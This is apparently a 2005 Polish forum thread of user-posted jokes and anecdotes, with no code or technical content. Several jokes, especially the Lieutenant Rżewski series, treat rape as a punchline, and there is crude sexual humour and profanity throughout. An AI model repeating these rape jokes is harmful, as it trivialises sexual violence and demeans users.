wsadził głowę w stryczek, patrzy, a tu na szafie niedopita flaszka
wódki stoi!
- Co się ma wódka zmarnować? - pomyślał sobie.
Wysunął głowę ze stryczka, przystawił stołek do szafy, patrzy, a tam
jeszcze całkiem spory niedopałek leży!
- O! - pomyślał - i życie zaczyna się układać!

[ Dodano: 04-07-2005, 14:06 ]
Przychodzi Jasio z przedszkola. Gęba cała podrapana. Aż przykro patrzeć.
- Co się stało, Jasiu? - krzyczymama.
- Aaaaaa... Taczyliśmy wokół choinki. Dzieci było mało, a jodełka
spora...

Efraim Ryba - 05-07-2005, 09:54

Zamierzchłe czasy zimnej wojny. Na łące pod moskwą siedzi popijając portwiejny dwóch tubylców.
- Ty Wania a ile taki perszing jest wart?
- No, bo ja wiem, pewnie z milion.
- To spójrz na niebo... Ile do nas forsy leci....

tsharny - 07-07-2005, 13:20

Mąż i żona świętują swoja rocznice ślubu.
W pewnym momencie mąż pyta żonę:
- powiedz mi kochanie, czy kiedykolwiek mnie zdradziłaś?
- proszę, nie pytaj mnie o takie rzeczy.
- ale nalegam, powiedz mi proszę.
- no dobrze, zdradziłam Cię trzy razy.
- trzy razy, jak to się stało?
- mężu, czy pamiętasz jak 1 5 lat temu chciałeś rozkręcić swój
własny biznes i żaden bank nie chciał udzielić Ci kredytu?
A pamiętasz jak sam prezes banku przyszedł do nas do domu pod
Twoja nieobecność i zatwierdził kredyt bez żadnych
dodatkowych pytań?
- och kochanie, zrobiłaś to dla mnie. Szanuje Cię jeszcze
bardziej za to co zrobiłaś. Ale kiedy był ten drugi raz?
- pamiętasz dziesięć lat temu sytuacje, kiedy miałeś ten
straszliwy atak serca i żaden z lekarzy nie chciał się
podjąć tej ryzykownej i skomplikowanej operacji? I wtedy ten jeden doktor
zgodził się Ciebie operować i dzięki temu do dzisiaj jesteś w tak dobrej
kondycji.
- moja najdroższa, nie mogę wprost w to uwierzyć, że zrobiłaś to
dla mnie. Jestem Ci wdzięczny. Ale powiedz mi jak to było
tym trzecim razem.
- Czy pamiętasz te sytuacje, kiedy kilka lat temu chciałeś
zostać prezesem klubu golfowego i brakowało Ci 53 głosów ...


pozdrawiam
tsharny

[ Dodano: 08-07-2005, 16:07 ]
Byl sobie facet, który dbal o swoje cialo.Pewnego razu stanal
przed lustrem, rozebral sie i zaczal podziwiac swe cialo. Ze zdziwieniem
stwierdzil jednak, iz wszystko jest pieknie opalone oprócz jego
czlonka! Nie podobalo mu sie to wiec postanowil cos z tym zrobic.
Poszedl na plaze, rozebral sie i zasypal cale swe cialo,
zostawiajac czlonka sterczacego na zewnatrz.
Przez plaze przechodzily dwie staruszki. Jedna opierala sie na lasce.
Przechodzac obok zasypanego faceta ujrzala cos wystajacego z
piasku. Koncem laski zaczela przesuwac to w jedna, to w druga strone.
- Zycie nie jest sprawiedliwe - powiedziala do drugiej.
- Czemu tak mówisz? - spytala tamta zdziwiona.
- Gdy mialam 20 lat bylam tego ciekawa, gdy mialam 30 lat
bardzo to lubilam, w wieku 40 lat juz sama o to prosilam, gdy mialam lat
50 juz za to placilam, w wieku 60 lat zaczelam sie o to modlic, a gdy mialam 70 to juz o tym zapomnialam. Teraz, kiedy mam 80 lat, te rzeczy rosna na dziko, a ja ku..a nawet nie mogę przykucnąc !

IRA - 12-07-2005, 12:33

Matura z angielskiego, polecenie:

Podczas pobytu w Wielkiej Brytanii kupiłes ciagnikowy kultywator
sprężynowy z zapasowym kompletem lemieszy półsztywnych i skaryfikatorem.
Zauważyłes, że uszkodzone było łożysko toczne barylkowe wahliwe w
mimosrodzie oraz brakowało połaczeń gwintowych (sruba pasowana o
trzpieniu stożkowym).

Chcesz zgłosić jego reklamację.

Napisz na czym polega problem, gdzie i kiedy nabyłes urzadzenie i
zaproponuj rozwiazanie problemu.

Tomek Radomski - 16-07-2005, 13:27

Moja kurde moze przyszla tesciowa od roku szukala samochodu. Lazila za mna zebym cos wynalazl. Wyszukalem chyba z 20 sztuk naprawde fajnych autek. Citroena - nie bo sie psuja (nie przetlumaczysz i juz), 106 to samo, Polo i tym podobne - nie ten kolor, Skoda - duzo pali, Corsa - drogo, Sej - nie bo nie i tak dalej i tak dalej.
Wczoraj podobno pojechala sobie do pracy i po drodze tak "O" kupila swoje wymazone auto. Ekonomiczne bezawaryjne, male, idealne dla kobiety. Jakie??


POLONEZA DO QFY NEDZY!!! POLONEZA I TO BEZ GAZU!!! 10 LETNIEGO!!!

Dodam tylko ze juz mieli jeden taki zlom. Tesciu starego rozebral na czesci i kupil nastepnego. To teraz maja dwa. Jak tylko uslysze ze cos sie w aucie popsulo i moze bym zajrzal to chyba mnie strzeli. No nie wytrzymam.


Mnie rozwaliła wiadoma wykrzyczana linijka. Przeczytajcie to na głos naśladując Czarka Pazurę. Tylko sie trzeba przywiazac do krzesla :-D

tsharny - 16-07-2005, 18:07

panie kolego :-D spójrz na to z tej lepszej strony (na pewno gdzieś jest)... przynajmniej jak gdzieś stuknie to nie będzie szkoda :mrgreen:

pozdrawiam
tsharny

nevada - 16-07-2005, 23:28

eee przesadzasz kolego. Ja mam poloneza i jeszcze jeździ :22: tylko dużo blachy cynkowej zużywam i nitów :29:
IRA - 20-07-2005, 13:04

W dniu urodzin Rżewskiego Natasza Rostowa zaprosiła go do siebie zdradzając, że ma dla niego prezent. Gdy znaleźli się sami, zrzuciła suknię i stanęła przed Rżewskim naga, ozdobiona tylko kokardką w intymnym miejscu.
Rżewski zawijając rękaw zapytał:
- Głęboko on?

* * * * *
Porucznik Rżewski wyszedłszy na ganek, wskoczył na siodło i pocwałował
majdanem, aż się kurz za nim podnosił. Przecwałowawszy dwie wiorsty zatrzymał się:
- Job twoju mać, a ko¨˝ gdzie?!
Zwymyślawszy się od ostatnich pogalopował z powrotem.

* * * * *
- Poruczniku, czy lubi pan romanse? - zapytała Natasza Rostowa
Rżewskiego w czasie spaceru.

- O tak, madame, zwłaszcza te z wprowadzeniem!

* * * * *
Poruczniku, czy w młodości miał pan jakieś hobby ?
- Nawet dwa. Polowanie i kobiety.
- O, to ciekawe. Na co pan polował ?
- Na kobiety...
* * * * *
- Poruczniku, spał pan ze mną, a dziś nawet nie chce się przywitać ?
- Madame, kopulacja to jeszcze nie powód do znajomości...

* * * * *
Jedzie Natasza z porucznikiem w jednym przedziale. Porucznik czyta
gazetę, Natasza bezskutecznie usiłuje zwrócić na siebie jego uwagę.
- Poruczniku, jak nazywa się kamie¨˝ w pa¨˝skim pierścionku ?
- Ech, Nataszko... jakoś mi się dziś nie chce...

* * * * *
- Uratowałem dziś kobietę przed gwałtem - mówi porucznik.
- Wspaniale! Jak pan to zrobił ?
- Wytłumaczyłem, że po dobroci będzie lepiej....

* * * * *
Porucznik i Natasza płyną razem w łódce.
- Nataszko czy jechała pani kiedy gołymi jajami po rżysku ?
- Nie..., a co ?
- E... nic.... tak tylko chciałem rozmowę podtrzymać...

* * * * *
Bal w kasynie. Zauważono brak Rżewskiego.
- Kornet! A gdzie to pan porucznik ?
- Powiedział, ze wpadnie za dwie godziny jak da radę....
- A jak nie da ?
- To za 10 minut....
* * * * *
- Poruczniku, podobno w młodości był pan członkiem Towarzystwa Naukowego?
- Ech, madame... młodość... członkiem tu, członkiem tam..
* * * * *
- Poruczniku , jest pan tu zaledwie trzy dni a już wszystkie nasze
kobiety o panu mówią. Jak pan to robi ?
- Zwyczajnie. Podchodzę do damy i pytam: Madame, czy mogę panią
zgwałcić ?
- Ależ poruczniku ! Za to można po pysku....
- No tak, najpierw po pysku, a potem się gwałci....
***********
Porucznik Rżewski ubierając się na bal wkłada do prawej kieszeni spodni banana.
- Na co wam banan w spodniach, poruczniku ? - pytają go.
- Ot, cóż...zata¨˝czę z jakąś damą ona przylgnie do mnie, poczuje banana
i przesunie się tak by przytulić się z drugiej strony....I tuśmy jej czekali!!!
* * * * *
Porucznik Rżewski rozmawiał z Nataszą Roztową. W pewnym momencie
poprosił o wybaczenie i wyszedł. Po chwili wrócił cały mokry.
- Deszcz? - spytała Natasza Roztowa.
- Nie, wiatr...
* * * * *
Porucznik Rżewski ta¨˝czy z Nataszą Roztową.
- Poruczniku, niezbyt ładnie pan pachnie - zwraca uwagę dama - chyba
ma pan brudne skarpetki. Proszę natychmiast wyjść stąd i je zdjąć!
Porucznik po kilku minutach powrócił i znowu ta¨˝czy z Nataszą.
- Panie poruczniku, ciągle pan źle pachnie - dama wyraźnie się niecierpliwi
- nie zdjął pan?!
- Ależ zdjąłem! - Broni się porucznik Rżewski eleganckim ruchem wydobywając
skarpetki spod munduru.
* * * * *

Madmoiselle - spytał raz porucznik Rżewski na balu - do czego służy wycięcie w pani rękawiczce?
- Aby mężczyźni mogli ucałować moją rączkę...
- Teraz wiem, do czego służy rozcięcie w moim szynelu!
* * * * *

Pewnego razu w pociągu porucznik Rżewski zdjął skarpety i powiesił na wieszaku.
- Czy pan, panie poruczniku - spytał go współpasażer - wymienia czasami skarpetki?
- Z góry uprzedam - tylko na wódkę!

Adam Frajtak - 20-07-2005, 13:23

Przychodzi zając do nowego sklepu misia i pyta:
- Misiu poproszę pół kilo soli
- Wiesz zajączku nie mam jeszcze wagi to nasypie ci na oko
- Do dupy se nasyp sku.....u

Efraim Ryba - 22-07-2005, 12:09

Autentyk z parafialnej listy ogłoszeń w Smołdzinie (to taka urocza miejscowość po drugiej stronie Łebskich piachów:

TY DECYDUJESZ, CO ŚPIEWAĆ

Wykaz pieśni, jakie należy śpiewać podczas jazdy samochodem, gdy rozwija się następujace predkości:
80 km/h Pobłogosław Jezu Drogi
90 km/h To szczęśliwy dzień
100 km/h Cóż Ci Jezu damy
110 km/h Ojcze, Ty kochasz mnie
120 km/h Liczę na Ciebie Ojcze
130 km/h Panie przebacz nam
140 km/h Zbliżam sie w pokorze
150 km/h Byc bliżej Ciebie chcę
160 km/h Pan Jezus już sie zbliża
170 km/h U drzwi Twoich stoje Panie
180 km/h Jezus jest tu
190 km/h Witam Cię Ojcze
200 km/h Anielski orszak niech twą duszę przyjmie

Uwaga! Waring! Achtung! Wnimanie! Świety Krzysztof jeździ z tobą tylko do 120 km/h. Przy wyższych prędkościach swoje miejsce oddaje św. Piotrowi.
Św Krzysztofie, módl sie za nami.

bann - 25-07-2005, 00:54

A man was crossing a road one day when a frog called out to him and said, "If you kiss me, I'll turn into a beautiful princess." He bent over, picked up the frog, and put it in his pocket.
The frog spoke up again and said, "If you kiss me and turn me back into a beautiful princess, I will be your loving companion for an entire week." The man took the frog out of his pocket, smiled at it, and returned it to his pocket.
The frog then cried out, "If you kiss me and turn me back into a princess, I'll stay with you for a year and do ANYTHING you want."
Again the man took the frog out, smiled at it, and put it back into his pocket.
Finally, the frog asked, "What is the matter? I've told you I'm a beautiful princess, that I'll stay with you for a year and do anything you want. Why won't you kiss me?"
The man said, "Look, I'm a Software Engineer. I don't have time for a girlfriend, but a talking frog is cool."

Kuba - 25-07-2005, 15:01

http://www.zbigniewblazej...pl/leszcze.mpeg
maczaty - 25-07-2005, 15:32

Przychodzi żaba do lekarza.
- Panie doktorze, coś mnie j38ie w stawie!
- To musi być rak.

DarekS - 25-07-2005, 15:32

Moze to nie dowcip
ale zapoznajcie sie z ta oferta na Allegro :mrgreen:

http://www.allegro.pl/show_item.php?item=57571414

calkowicie uczciwy opis sprzedawanego przedmiotu

Efraim Ryba - 02-08-2005, 08:01

Pani w szkole:
- Z czego robi się kiełbasę?
Dzieci milczą.
- Jasiu, ty powinieneś wiedzieć - twój tata jest masarzem?
- Ja wiem, ale tatuś powiedział, ze jak komuś powiem, to mnie zabije.

Rok 2005.Wracaja Amerykanie z wyprawy kosmicznej, ale kapsuła się
uszkodziła i wylądowali w Polsce. Odkręcają luk, wychodzą, patrzą:
Jakiś brudny, zarośnięty rolnik, ubrany w sukmanę, orze pole w konie,
dookoła błoto, rozpadające się chałupy.
Podchodzi jeden z astronautów do rolnika i pyta:
"Excuse me, do you speak English?"
A facet odpowiada:
"Yes I do ...i c_h_j mi, k_r_w_a, z tego!

asior - 03-08-2005, 11:18

Ojciec Jasia poszedł na wywiadówkę do szkoły. Po powrocie Jasiu
spodziewał
się najgorszego.
Ojciec do Jasia:
- Siadaj synu. - Może zapalimy po papierosku?
Jasiu z niedowierzaniem wypalił papierosa.
Po chwili: - Synu może po setce?
Wypili, ku zdumieniu Jasia.
- Synu może obejrzymy kasetę porno?
- Dobrze - zgodził się nieśmiało Jaś.
- Może synu przejrzysz mojego ulubionego Playboya?
Jaś wziął "świerszczyk" i nieśmiało przeglądając w końcu zapytał:
- Tato, a kto ma te wszystkie panienki, takie jak w tej gazecie?
Ojciec przysunął się do syna i klepiąc go po plecach, odparł:
- Prymusi synku, prymusi.!!

Tomek Radomski - 05-08-2005, 15:28

Przychodzi pijany facet do domu, żona stoi w progu i drze się:
- Piłeś!!!
On na to:
- Wiem!!!

-----

Mówi baca do żony:
- Pamiętasz tą Symborską co była u nas miesiąc temu?
- Jakoś nie pamiętam.
- To ta chuda i chorowita.
- A ta Symborska!
- Właśnie napisała że dostała Nobla.
- Nie wiem co to takiego ale napisz jej, że najlepsze na to jest wywar z pokrzyw.

-----

Wychodzi baca przed chałupę, przeciąga się i wola:
- Jaki piękny dzionek!
A echo z przyzwyczajenia:
- Mać, mać, mać...

Szwendaczek - 09-08-2005, 21:07
Temat postu: Pilne pytane. Prosze o pomoc.
Pilne pytane. Prosze o pomoc. Potrzebuje wyczerpujacej odpowiedzi. Z góry dziekuje.
Jakis czas temu zaczalem podejrzewac swoja zone o zdrade. Skad sie dowiedzialem. No bo zachowywala sie typowo dla takich sytuacji. Gdy odbieralem telefon w domu, po drugiej stronie odkladano sluchawke. Miala czesto spotkania z kolezankami, niespodziewane wyjscia na kawe czy po ksiazke. Na pytanie "z kim z naszych wspólnych znajomych sie spotyka", odpowiadala, ze sa to nowe przyjaciólki i ja ich nie znam.
Zazwyczaj czekam na taksówke, która ona wraca do domu, jednak zona wysiada kilkaset metrów wczesniej i reszte drogi idzie na nogach, tak ze nigdy nie widze jakim samochodem przyjezdza i z kim. Kiedys wzialem jaj komórke, tylko aby zobaczyc która godzina. Wtedy ona po prostu dostala szalu i zakazala dotykac jej telefonu. Przez caly ten czas nie moglem sie zdecydowac, by porozmawiac z nia o tym wszystkim. Pewnie nie dowiedzialbym sie prawdy, gdyby nie przypadek. Pewnej nocy zona niespodziewanie gdzies wyszla. Ja sie zainteresowalem, ze cos nie tak. Wyszedlem na zewnatrz. Postanowilem schowac sie za naszym samochodem, skad byl doskonaly widok na cala ulice, co pozwoliloby mi zobaczyc, do jakiego samochodu wsiadzie. Kucnalem przy swoim wozie i nagle z niepokojem zauwazylem, ze tarcze hamulcowe przy przednich kolach maja jakies brunatne plamy, podobne do rdzy. Prosze mi odpowiedziec, czy ja moge jezdzic z takimi tarczami hamulcowymi, czy trzeba je stoczyc? Jezeli natomiast trzeba ja wymienic, to czy mozna zamontowac tanszy zamiennik, a nie oryginalne, a jezeli tak, to które najlepiej?


:asthanos:

kjar - 12-08-2005, 12:36

Pewna pani wybrała się do Afryki na safari i zabrała ze sobą swojego pupila - pudelka. W trakcie wyprawy piesek wypadł z jeepa, czego nikt nie zauważył. Biegł za samochodem, biegł, biegł... ale nie dogonił. Nagle słyszy gdzieś za soba szelest i kątem oka dostrzega zbliżającego sie lamparta. Zadrżał ze strachu, przed oczami przeleciało mu całe życie.
Wtem jednak patrzy, a kawałek dalej w trawie leżą jakieś poobgryzane szczątki. "Może nie wszystko stracone" - myśli pudelek i dopada do padliny.
Lampart wyłazi z krzaków, patrzy - a tam jakiś dziwaczny mały stwór coś zajada, ciamka, mlaska. Lampart już - już ma na niego skoczyć, ale słyszy jak stwór mruczy do siebie: "Mmmm... jaki smaczny ten lampart... rarytas... mięsko palce lizać... a kosteczki - co za rozkosz...". Lampart przeraził się i dał nura w krzaki. "Całe szczęście, że mnie nie widział ten mały diabeł, bo zeżarłby mnie jak dwa razy dwa" - myśli uciekając. Pudelek odetchnął, ale zauważył, że na drzewie siedzi małpa, która najwyraźniej obserwowała całą sytuację, bo minę ma zdziwioną. Nagle małpa puszcza się biegiem za lampartem i wrzeszczy. "Oj, niedobrze" - myśli pudelek. "Ta cholerna małpa wszystko mu wygada. Co robić?"
Małpa faktycznie dopada lamparta i opowiada mu, jak to został wystrychnięty na dudka. Lampart wnerwił się strasznie. Kazał małpie wsiąśc mu na grzbiet i wrócić ze sobą na polankę, żeby była świadkiem tego, jak rozprawi się z tym stworem. Wracają, patrzą, a tam pudelek rozwalony na grzbiecie, dłubie w zębach pazurem i gada do siebie: "Gdzie do cholery ta małpa? Wysłałem ją po kolejnego lamparta, a ta cholera, nie wraca i nie wraca..."

kacperek2231 - 13-08-2005, 00:13

Wsiada facet do windy, ale na jej progu zauważa, że z końca korytarza w stronę windy biegnie blondynka. Postanawia więc przytrzymać drzwi windy i zaczekać na dziewczynę. Ta w końcu dopada do drzwi, wsiada do windy, a facet sie pyta:
- Na drugie ??
A blondynka na to:
-Agnieszka .


:-D

[ Dodano: 27-08-2005, 12:20 ]
Wnuczek wbiega do pokoju dziadka i pyta:
- Dziadku, jak to jest, że mimo twoich 90 lat przychodzą do ciebie takie młode, napalone laski, i to czasem po kilka sztuk dziennie?
- A bo ja wiem - odparł dziadek leniwie oblizując brwi.

Ogrood - 29-08-2005, 14:02

Zdarzyło się pewnego razu, że uczeń Mistrza Kung-Fu przeszedł z
powodzeniem nauki wstępne i przystąpił do Ostatecznej Próby. Rzekł
mu tedy Mistrz:
- Stań na placu przed świątynią i przepołów gołymi rękami deskę,
którą ujrzysz opartą o kamienie.
Poszedł tedy uczeń i ujrzał ledwo ociosaną kłodę twardego drewna.
Nie uląkł się jednak i gołą dłonią uderzył w nią tak mocno, że
pękła i dwie połówki spadły na ziemię.
- Dobrześ wykonał zadanie - rzekł Mistrz - Teraz czeka cię drugi
sprawdzian. Pójdziesz ze mną do gospody w mieście.
Poszli tedy do gospody, gdzie ujrzeli dwóch złoczyńców bijących
niewinnego kupca.
- Czyń co trzeba - rozkazał Mistrz.
Rzucił się tedy uczeń w wir walki i wnet wyleciał za drzwi z
podbitym okiem i bez zębów. Wrócił też zaraz w niesławie do domu, a
zgromadzonej przy stole rodzinie rzekł:
- To samo co rok temu. Plac poszedł dobrze, ale spier*****m na
mieście.


W związku z epidemią ptasiej grypy, ZUS informuje, iż Narodowy
Fundusz Zdrowia nie posiada środków na leczenie. Wobec powyższego
prosimy nie brać ptaszka do buzi.


Zdarzyło się, że do Wielkiego Mistrza przyszedł pełen szlachetnego
zapału człowiek.
- Nauczycielu - rzekł - zechciej przyjąć mnie na ucznia, gdyż oto
porzuciłem swój plugawy lifestyle. Zostawiłem za sobą job i career,
cash rozdałem biedakom, a stocks and shares wysłałem memu ojcu..
Rozpromieniło się oblicze Mistrza, postanowił on jednak wystawić
japiszona na próbę.
- Wielu ludzi przychodzi do mnie z prośbą o nauki - rzekł Kim Lan -
Wczoraj odwiedziło mnie dwóch młodzieńców, którzy także pragną
kształcić się pod mym okiem. Poddam was tedy sprawdzianowi woli.
Weźcie dziurawe wiadra z dziedzińca świątyni i idźcie nad rzekę.
Ten z was, który zdoła przynieść najwięcej wody godzien będzie zwać
się moim uczniem.
- K***a, wszędzie ten j****y konsumpcyjny wyścig szczurów -
pomyślał japiszon i odszedł skąd przyszedł.

amalcz - 31-08-2005, 09:25

List do Bravo + 18

Drogie Bravo, drodzy koledzy i koleżanki.
Mam na imię Dagmara i mam 19 lat. Moja sytuacja jest bardzo krepująca i nie wiem, co teraz mam zrobić. Jestem już dorosłą dziewczyną i mam wspaniałego chłopaka o
imieniu Marcin, którego kocham ponad życie i myślę że on mnie również.
Jesteśmy już razem 6 miesięcy i postanowiliśmy dokonać Aktu Miłosnego, aby umocnić nasz związek. Niefart polega na tym, że ja jestem dziewicą, a on już doświadczonym mężczyzną . Bardzo obawiałam się że nie spełnię jego oczekiwań , po prostu zawiodę! Na dodatek wszystkie moje koleżanki potraciły już dziewictwo i żeby mieć o czym rozmawiać z nimi, powiedziałam że ja również nie jestem jak to się
mówi potocznie "cnotą". O tym fakcie dowiedział się Marcin od mojej koleżanki, Moniki, która jest jego dobrą znajomą. Gdy Marcin zapytał czy to prawda, nie zaprzeczyłam. Ustaliliśmy nasz Pierwszy Raz na najbliższy weekend, ponieważ Marcina rodzice jadą na wesele. Bardzo się obawiałam bólu, oraz tego że Marcin posądzi mnie o kłamstwo, więc postanowiłam jakoś sobie poradzić Nie. chciałam przespać się z "pierwszym lepszym" gdyż kocham Marcina i chcę aby to on był moim
Pierwszym Mężczyzną !.
Akurat zdarzyło się tak że byłam sama w domu i postanowiłam uporać się z moja błona dziewiczą. Nie chciałam robić tego palcami ani jakimś twardym przedmiotem a na wibrator niestety nie było by mnie stać. Poszłam więc do lodówki i zobaczyłam nadającą się do mojego czynu kaszankę. Odpowiadała mi rozmiarem i grubością, była trochę za zimna i za twarda więc postanowiłam ja podgotować. Kiedy nareszcie
ostygła, nasmarowałam ja wazeliną, i zaczęłam wkładać ją do pochwy.
Poddałam się chyba za bardzo chwili i za bardzo ją ścisnęłam. Wtedy stało się najgorsze co mogło się stać. KASZANKA SIĘ ZŁAMAŁA Rozpaczliwie próbowałam ją wyjąć palcami ale chyba trochę za bardzo ją rozgotowałam i niektóre kawałki kaszanki zostały mi w pochwie i nie mogę ich wyjść! Wstydzę się iść do ginekologa a za kilka dni wyczekiwany przez naszą dwójkę upojny weekend !!!.
Nie wiem co mam zrobić i do kogo się zwrócić.
Co teraz pomyśli o mnie Marcin!! BŁAGAM POMÓŻCIE !!!.

Odpowiedz Redakcji:

Na wstępie pragniemy podziękować Ci za podzielenie się z nami swoim problemem. W twojej nader ciekawej sytuacji proponujemy Ci dwa rozwiązania:

1. Ekstrawaganckie w stylu new art. ;]
2. Siłowe

Pierwsze wydaje nam się ciekawe lecz może nie przynieść spodziewanych efektów. Musisz pokroić cebulę w kostkę, a następnie podsmażyć ją na złocisty kolor na patelni (koniecznie na oleju z pierwszego tłoczenia). Następnie musisz dopchać ją do pochwy i zrobić 3-4 przysiadów tak aby zmieszała się z kaszanką. Potem zaproś swojego ukochanego na romantyczne spotkanie inicjujące. Przed pierwszym stosunkiem zaproponujesz mu więc kaszankę po staropolsku w wersji francuskiej.
W ten sposób osiągniesz dwa cele: udowodnisz mu że bardzo go kochasz i jednocześnie pokażesz że świetnie gotujesz. Przypominamy Ci powiedzenie "PRZEZ ŻOŁĄDEK DO SERCA".

Rozwiązanie drugie jest jednak o wiele bardziej skuteczne.
Przygotuj patelnię na której miałaś zarumienić cebulkę. Następnie weź w prawą rękę (jeśli jesteś leworęczna to w lewą) i a fee się nią z całej siły w głowę - bo tobie to już chyba nic nie pomoże !!!

Z poważaniem
Redakcja

Kuba - 06-09-2005, 16:04

- Patrycja, po litrze to z ciebie nawet niezła laska...
- Roman, och*jałeś? To ja, Bronek!


Po randce:
- Czy odprowadzisz mnie do domu, Romanie?
- Tak, wzrokiem...


- Jak brzmi najmilszy zwrot w języku polskim?
- Zwrot podatku!


Kochane dziewczęta - macie problemy z nadwagą, wypadają wam włosy?
Macie na twarzy trądzik i wapory? Zapraszamy do nas! U nas ciemno i jesteśmy pijani!


- Co to może być, trzeci dzień nie chce mi się robić?!
- Pewnie środa.

Tomek Radomski - 07-09-2005, 01:44

Hrabia oprowadza gości i pokazuje swoje trofea i mówi:
- To po prawej, to lew z Afryki, a to po prawej to tygrys.
Nagle jeden z gości się pyta:
- A ta pani na końcu, to kto?
- Moja teściowa.
- A czemu ona się uśmiecha?
- Bo do końca życia myślała, że jej zdjęcie robię.

tsharny - 07-09-2005, 08:57

Sopot.. Mandaryna wlasnie zakończyła śpiewanie...
Publika szaleje:
- Jeszcze raz, jeszcze raz, jeszcze raz!
No dobra to zaśpiewała. Skończyła a publika:
- Jeszcze raz...
No i tak trzeci, czwarty, piąty..., dziewiąty raz...
W końcu już zrezygnowana do publiczności:
- Kochani ale ja już nie mam siły śpiewać...
A publiczność:
- K***a śpiewaj aż się nauczysz!!

pozdrawiam
tsharny

Rumelia - 07-09-2005, 17:07

Wywiad z posłem na Sejm.

- Panie posle, ile wynosi Pana dieta.

- 8.000,00zl

- Niech mi Pan powie jak to sie dzieje. Zarabia Pan 8.000,00zl a miesiecznie spłaca Pan raty w wysokości 12 tys zl??

- Dokładam.

- Od kiedy Pan nie wymawia "R" ??

Efraim Ryba - 14-09-2005, 07:44

Bardzo dawno temu, w Boże Narodzenie, Święty Mikołaj przygotowywał się do swojej corocznej podróży. Jednak wszędzie piętrzyły się problemy. Czterech elfów zachorowało, a ich zastępcy nie produkowali zabawek tak szybko jak oni, więc Mikołaj zaczął podejrzewać, że może nie zdążyć... Pani Mikołajowa oświadczyła, że jej mama ma zamiar wkrótce ich odwiedzić, co go bardzo zdenerwowało. Na domiar złego, kiedy poszedł zaprzęgać renifery okazało się, że trzy z nich są w zaawansowanej ciąży, a dwa inne przeskoczyły przez płot i uciekły. Mikołaj zdenerwował się jeszcze bardziej. Gdy zaczął pakować sanie, jedna z płóz pod wpływem ciężaru złamała się. Worek runął na ziemię i zabawki rozsypały się. Wkurzony Mikołaj postanowił wrócić do domu na kawę i whisky. Gdy otworzył barek okazało się, że elfy wyżłopały mu cały alkohol i nie ma nic do wypicia.. Roztrzęsiony Mikołaj upuścił dzbanek do kawy, który roztrzaskał się na podłodze w kuchni. Poszedł więc po szczotkę, ale okazało się, że myszy zjadły włosie, z którego była zrobiona... I wtedy właśnie zadzwonił dzwonek do drzwi, więc Mikołaj poszedł otworzyć. Za drzwiami stał mały aniołek z piękną, wielką choinką.
- Wesołych Świąt, Mikołaju! Czyż nie piękny mamy dziś dzień? Przyniosłem Ci choinkę. Prawda, że jest wspaniała? Gdzie chciałbyś, żebym ją wsadził?
Od tego czasu rozpowszechniła się tradycja umieszczania aniołka na czubku choinki.

Beeker - 14-09-2005, 15:34

Amerykański statek kosmiczny doleciał na Marsa... Wylądowali... już zbierają się do wyjścia aż tu nagle podleciało 2 Marsjan takich śmiesznych, zielonych i bbzzzzz zaspawali im drzwi wyjściowe. Amerykanie próbują wyjść... 10 minut, 30 minut... po godzinie się udało. Wyszli, a tam już zebrała się większa grupka Marsjan. No więc witają się i pytają :
- Czemu zaspawaliście nam drzwi wyjściowe?
Na co Marsjanie:
- Zawsze tak robimy nowym, ale to chyba nie problem, niedawno tu Polacy byli... koledzy zaspawali im drzwi, a oni po 5 minutach już byli na zewnątrz... i jeszcze prezenty przywieźli ...
Amerykanie:
- Prezenty, Polacy? Jakie Prezenty?
Marsjanin:
- A nie wiem. Chyba jakiś "wpie*dol". Ale wszyscy dostali.

Mania - 14-09-2005, 15:48

Opowiesc kolegi

Stoje sobie ostatnio spokojnie w kolejce do kasy w Carrefourze.
Stoje sobie .... stoje... Nagle zauważam przy drugiej kasie, wpatrzoną we
mnie i uśmiechającą się się DO MNIE blondynę.
Ale jaką blondynę…. Mówie Wam Karaiby, słońce, plaża, Bacardi...!
Ostatnio ładne dziewczyny się do mnie tak uśmiechały, gdy
Przytaszczyłem do akademika, na drugi dzień po imprezie, skrzynkę zimnego piwa. Ale to było 10 lat temu...
Ta jednak uśmiechała się do mnie przyjaźnie nawet bez piwa. Jakaś taka
znajoma mi się przez chwilę wydała ale nie mogłem sobie przypomnieć skąd...Pewnie podobna do jakiejś aktorki...
Powoli budził się we mnie głęboko uśpiony instynkt łowcy. Mieszanka adrenaliny i testosteronu wypełniały mój organizm. To one kazały mi
Bez zastanowienia zapytać:
- Przepraszam, czy my się skądś nie znamy?
Wypadło nawet nieźle. Lala połknęła haczyk. Jej reakcja była szybka,
uśmiech bez zmian:
- Nie jestem pewna, ale chyba jest pan ojcem jednego z moich dzieci...

Mówi się, że ludzki umysł potrafi w sytuacjach ekstremalnych pracować
nie gorzej od komputera. Mój był w tej sekundzie w stanie konkurować z
najlepszymi. Po chwili miałem wydruk. Zawsze używam gumek. Zdrada małżeńska jest już sama w sobie wydarzeniem szargającym nerwy szanującego się mężczyzny. Po co ją jeszcze dodatkowo komplikować? Mój komputer pokładowy przypomniał mi tylko trzy przypadki, które były odstępstwem od tej zasady.
Koleżanka z pracy, na szczęście tak brzydka, tak że sama jej twarz
Była najlepszym zabezpieczeniem. Koleżanka żony z pracy, na szczęście po
Takim alkoholu, że mi nie do końca ... tego...
Pozostała tylko jedna możliwość. kiedy mogłem sobie strzelić dzidziusia na boku. Nie omieszkałem podzielić się tą radosną nowiną z matką mojego nieślubnego dziecka i setką kupujących przy okazji:
- Już wiem! Pani musi być tą stripteaserką, którą moi koledzy zamówili na mój wieczór kawalerski przed 8-ma laty Pamiętam, że za niewielką dodatkową
opłatą zgodziła się pani wtedy robić TO ze mną na stole w jadalni na oczach moich klaszczących kolegów i tak się pani przy tym rozochociła, że na koniec za darmo zrobiła im pani wszystkim po lodziku!!!
Zaległa całkowita cisza. Nawet kasjerki przestały pracować. Wszyscy
wpatrywali się na przemian we mnie i w czerwieniącą się coraz bardziej
ślicznotkę. Kiedy osiagnęła kolor znany w kręgach muzycznych jako Deep
Purple wysyczała przez śliczne usteczka:
- Pan sie myli! - Karaiby zastapila Arktyka.- Jestem wychowawczynią
Pana syna w 3b...

Tomek Radomski - 14-09-2005, 16:00

Początek rozmowy biznesowej, podają sobie ręce (na razie nie ma tradycyjnej wymiany koszulek), przedstawiają się:

ONA :laska: - Nadobna.
ON :los: - Przesada ...

A były to ich normalnie rodowe nazwiska :lol:

VooDoo_73 - 14-09-2005, 16:19

